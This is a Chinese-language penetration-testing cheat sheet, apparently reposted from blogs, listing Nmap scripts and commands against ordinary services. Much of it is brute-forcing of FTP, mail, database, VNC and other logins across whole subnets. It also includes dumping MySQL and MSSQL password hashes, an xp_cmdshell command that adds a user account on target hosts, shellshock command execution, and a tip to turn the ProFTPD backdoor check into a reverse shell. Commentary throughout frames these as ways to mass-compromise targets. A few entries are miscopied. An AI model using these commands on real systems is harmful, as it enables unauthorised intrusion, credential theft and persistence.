轉載自:http://www.4hou.com/technology/10481.html
https://www.cnblogs.com/MacoLee/articles/5714165.html
4種常用的掃描
1.nmap -sP 1.1.1.1/24
探測C段存活主機,可以用 |grep up 過濾存活的主機
2. nmap -sS 1.1.1.1-30 -p 80
SYN掃描,指定IP範圍指定端口。
3.nmap -sV 1.1.1.1 -p 1-65535
探測端口的服務和版本
4.nmap -O 1.1.1.1 或 nmap -A 1.1.1.1
探測操作系統類型和版本
補充:
Metasploit結合Nmap(lua語言)
nmap -sS -p 3389 -oG- 221.0.90.0/24 | grep open 顯示3389端口開放的主機
nmap --script=default 192.168.211.137 蒐集各種應用服務的信息
nmap --script=vuln 192.168.211.137
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.211.137 smb已知幾個嚴重漏洞
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4 xp_cmdshell 執行命令
nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4 dumphash值
nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4 列出所有mysql用戶
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target MAC地址欺騙
nmap -p80 --script http-brute --script-args http-brute.path=/admin/ <target>暴力破解HTTP身份認證
nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target> 使用自定義的字典
nmap --script http-brute --script-args brute.mode=user <target>用戶模式:該模式下,對於userdb中的每個user,會嘗試passdb裏面的每個password
nmap --script http-brute --script-args brute.mode=pass <target> 密碼模式:該模式下,對於passdb中的每個password,會嘗試userdb裏面的每個user
nmap -p80 --script http-default-accounts <target> 測試默認憑據
nmap -p80 --script http-wordpress-brute --script-args http-wordpressbrute.threads=5 <target> WordPress審計
nmap -p80 --script http-joomla-brute <target> Joomla審計
nmap -p80 --script http-waf-detect --script-args=”http-waf-detect.aggro” <target>檢測Web應用防火牆
nmap -p80 --script http-unsafe-output-escaping <target> 檢測跨站腳本漏洞
nmap -p80 --script http-sql-injection <target> 檢測SQL注入
nmap -p80 --script http-sql-injection --script-args http.useragent=”Mozilla 42″ <target> 同樣可以設置User Agent和HTTP管道的數目
nmap -sV --script=mysql-databases --script-args mysqluser=root,mysqlpass=toor 192.168.195.130 列出數據庫名稱
nmap -sV --script=mysql-users 192.168.195.130 用戶審計
sudo nmap --script mysql-empty-password 192.168.195.130 檢查root空口令
nmap --script=mysql-brute localhost 暴力破解
nmap --script=mysql-info localhost Mysql信息
nmap -p25 -Pn --script smtp-brute target 暴力破解SMTP密碼
nmap -p80 --script=http-email-harvest target 谷歌搜索發現有效的電子郵件帳戶
nmap –script=mysql-vuln-cve2012-2122 localhost 使用CVE-2012-2122
漏洞銀行
nmap --script=struts_02-045.nse --script-args filename=***.jsp 192.168.211.137 查看某個網頁有沒有shell
nmap -p80,139,445 --script=smb-vul*
開始掃描→→主機發現→→端口掃描→→版本偵查→→OS偵測(系統)
主機發現:採用不同判斷方式
端口掃描:通過正則匹配對比指紋
版本偵測:通過偵測banner(也就是狀態碼)
OS偵測 :nmap-os-db
Nmap Engine
開始掃描→→主機發現→→端口掃描→→nse腳本→→動作處理
嘶吼
cd /usr/share/nmap/scripts/ Nmap腳本目錄
ls vulscan/*.csv vulscan目錄的根目錄中查看這些數據庫
cd /usr/share/nmap/scripts/utilities/updater/ ./updateFiles.sh 更新數據庫
nmap --script nmap-vulners -sV <目標IP> Nmap-Vulners進行掃描
nmap --script vulscan -sV <目標IP> 使用Vulscan進行掃描
nmap --script vulscan --script-args vulscandb=database_name -sV <目標IP>
nmap --script vulscan --script-args vulscandb=scipvuldb.csv -sV <目標IP>
nmap --script vulscan --script-args vulscandb=exploitdb.csv -sV <目標IP>
nmap --script vulscan --script-args vulscandb=securitytracker.csv -sV <目標IP>
nmap --script=http-vuln-cve2017-5638.nse 192.168.211.137
0×01 前言
因爲今天的重點並非nmap本身的使用,主要還是想借這次機會給大家介紹一些在實戰中相對比較實用的nmap腳本,所以關於nmap自身的一些基礎選項就不多說了,詳情可參考博客端口滲透相關文章,廢話少說,咱們直接開始,實際中我們可以先用下面的語句,大概掃一眼目標機器或目標C段都跑了什麼服務,心裏總要先有個譜,之後纔好針對性出牌嘛
# nmap -sV -sT -Pn --open -v 192.168.3.23
當然,你也可以用下面的腳本先嚐試獲取下目標機器更詳細的服務banner信息[不過這個並不詳細,有時候簡單telnet下就直接能看到詳細的banner了,用不着nmap],看具體版本的原因是因爲有些服務工具漏洞只能利用在特定的版本上,所以,提前知道大概一下還是非常有必要的,廢話到此爲止,咱們開始真正的內容
# nmap -sT -Pn --open -v banner.nse 192.168.3.23
0×02 和ftp相關的一些漏洞檢測腳本
ftp-anon.nse 檢查目標ftp是否允許匿名登錄,光能登陸還不夠,它還會自動檢測目錄是否可讀寫,比如你想快速批量抓一些ftp
# nmap -p 21 --script ftp-anon.nse -v 192.168.3.23
ftp-brute.nse ftp爆破腳本[默認只會嘗試一些比較簡單的弱口令,時間可能要稍微長一些(掛vpn以後這個速度可能還會更慢),畢竟,是直接在公網爆破]
# nmap -p 21 --script ftp-brute.nse -v 192.168.3.23
ftp-vuln-cve2010-4221.nse ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函數中存在多個棧溢出
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
ftp-proftpd-backdoor.nse ProFTPD 1.3.3c 被人插後門[proftpd-1.3.3c.tar.bz2],缺省只執行id命令,可自行到腳本中它換成能直接彈shell的命令
# nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23
ftp-vsftpd-backdoor.nse VSFTPD v2.3.4 跟Proftp同樣的問題,被人捅進去以後在代碼裏面插了後門
# nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23
0×03 和ssh 相關的一些掃描腳本
sshv1.nse 大家都知道的,sshv1是可以被中間人的
# nmap -p 22 --script sshv1.nse -v 192.168.3.23
0×04 和smtp,pop3,imap相關的一些掃描腳本
smtp-brute.nse 簡單爆破smtp弱口令,拿這個爆進去的郵箱給人發信也許成功率會稍微高一點
# nmap -p 25 --script smtp-brute.nse -v 192.168.3.23
smtp-enum-users.nse 枚舉目標smtp服務器的郵件用戶名,前提是目標要存在此錯誤配置才行,蒐集一些必要的信息還是蠻好的
# nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23
smtp-vuln-cve2010-4344.nse Exim 4.70之前版本中的string.c文件中的string_vformat函數中存在堆溢出
# nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23
smtp-vuln-cve2011-1720.nse Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出
# nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23
smtp-vuln-cve2011-1764.nse Exim dkim_exim_verify_finish() 存在格式字符串漏洞,太老現在基本很難遇到了
# nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23
pop3-brute.nse pop簡單弱口令爆破
# nmap -p 110 --script pop3-brute.nse -v 192.168.3.23
imap-brute.nse imap簡單弱口令爆破
# nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23
0×05 和dns 相關的一些漏洞掃描腳本
dns-zone-transfer.nse 檢查目標ns服務器是否允許傳送,如果能,直接把子域拖出來就好了
# nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
# nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23
hostmap-ip2hosts.nse 旁站查詢,目測了一下腳本,用的ip2hosts的接口,不過該接口似乎早已停用,如果想繼續用,可自行到腳本里把接口部分的代碼改掉
# nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23
0×06 和各種數據庫相關的一些掃描腳本
informix-brute.nse informix爆破腳本
# nmap -p 9088 --script informix-brute.nse 192.168.3.23
mysql-empty-password.nse mysql 掃描root空密碼,比如你想批量抓mysql
# nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23
mysql-brute.nse mysql root弱口令簡單爆破
# nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23
mysql-dump-hashes.nse 導出mysql中所有用戶的hash
# nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23
mysql-vuln-cve2012-2122.nse Mysql身份認證漏洞[MariaDB and MySQL 5.1.61,5.2.11, 5.3.5, 5.5.22],利用條件有些苛刻 [需要目標的mysql是自己源碼編譯安裝的,這樣的成功率相對較高]
# nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23
# nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 ms-sql-info.nse 掃描C段mssql
# nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
ms-sql-empty-password.nse 掃描mssql sa空密碼,比如你想批量抓mssql
# nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
ms-sql-brute.nse sa弱口令爆破
# nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
ms-sql-xp-cmdshell.nse 利用xp_cmdshell,遠程執行系統命令
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24
ms-sql-dump-hashes.nse 導出mssql中所有的數據庫用戶及密碼hash
# nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24
pgsql-brute.nse 嘗試爆破postgresql
# nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24
oracle-brute-stealth.nse 嘗試爆破oracle
# nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL -v 192.168.3.0/24
oracle-brute.nse
# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
mongodb-brute.nse 嘗試爆破mongdb
# nmap -p 27017 --script mongodb-brute 192.168.3.0/24
redis-brute.nse redis爆破
# nmap -p 6379 --script redis-brute.nse 192.168.3.0/24
0×07 和snmp相關的一些掃描腳本,用來蒐集些內網信息還行,運氣好也許還能查到賬號密碼什麼的
snmp-brute.nse 爆破C段的snmp
# nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24
0×08 和telnet相關的一些掃描腳本
telnet-brute.nse 簡單爆破telnet
# nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24
0×09 和ldap服務相關的一些利用腳本
ldap-brute.nse 簡單爆破ldap
# nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24
0×10 和各類web中間件,web集成環境相關的一些利用腳本
xmpp-brute.nse xmpp爆破
# nmap -p 5222 --script xmpp-brute.nse 192.168.3.0/24
http-iis-short-name-brute.nse 短文件掃描
# nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24
http-iis-webdav-vuln.nse iis 5.0 6.0 webadv寫
# nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24
http-shellshock.nse bash遠程執行
# nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24
http-svn-info.nse 探測目標svn
# nmap --script http-svn-info 192.168.3.0/24
http-drupal-enum.nse 其實對於這類的開源程序,我們根本沒必要用nmap,因爲搞多了,差不多一眼就能看出來
http-wordpress-brute.nse
# nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24
http-backup-finder.nse 掃描目標網站備份
# nmap -p80 --script=http-backup-finder 192.168.3.0/24
http-vuln-cve2015-1635.nse iis6.0遠程代碼執行
# nmap -sV --script http-vuln-cve --script-args uri='anotheruri' 192.168.3.0/24
0×11 跟vpn相關的一些利用腳本
pptp-version.nse 識別目標pptp版本,暫時只看到一個pptp暫時還好使,其實pptp也是可以爆破的,嘿嘿……不過,實際目標中,pptp幾乎沒有,openvpn偏多,想直接捅目標內網,這無疑是很不錯的入口
# nmap -p 1723 --script pptp-version.nse 192.168.3.0/24
0×12 smb漏洞檢測腳本集
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse smb遠程執行
# nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24
0×13 檢測內網嗅探,實際測試中,貌似並沒什麼卵用,難道是我實驗有誤
sniffer-detect.nse
# nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24
0×14 其它的一些輔助性腳本,其實有些實際用途可能並不大,大家選擇性的用極好了
rsync-brute.nse 爆破目標的rsync
# nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
rlogin-brute.nse 爆破目標的rlogin
# nmap -p 513 --script rlogin-brute 192.168.3.0/24
vnc-brute.nse 爆破目標的vnc
# nmap --script vnc-brute -p 5900 192.168.3.0/24
pcanywhere-brute.nse 爆破pcanywhere
# nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
nessus-brute.nse 爆破nessus,貌似現在已經不是1241端口了,實在是太老了,直接忽略吧
# nmap --script nessus-brute -p 1241 192.168.3.0/24
nexpose-brute.nse 爆破nexpose
# nmap --script nexpose-brute -p 3780 192.168.3.0/24
shodan-api.nse 配合shodan接口進行掃描,如果自己手裏有0day,配合着一起用,這個威力還是不可小覷的,不過在即實際測的時候貌似還有些問題
# nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'
0×15 嘗試利用nmap一句話對目標C段進行常規漏洞掃描
實際測試中,會非常的慢,可能跑一個腳本驗證時間都要很長,尤其在你的vps帶寬不是很足,網絡又不怎麼好的時候,速度就更慢了,所以還是建議先大致掃一眼目標服務,然後再單獨針對性的掃,這樣實際的成功率可能會高很多,畢竟,不是像masscan或者zamp這種基於無狀態的掃描
# nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24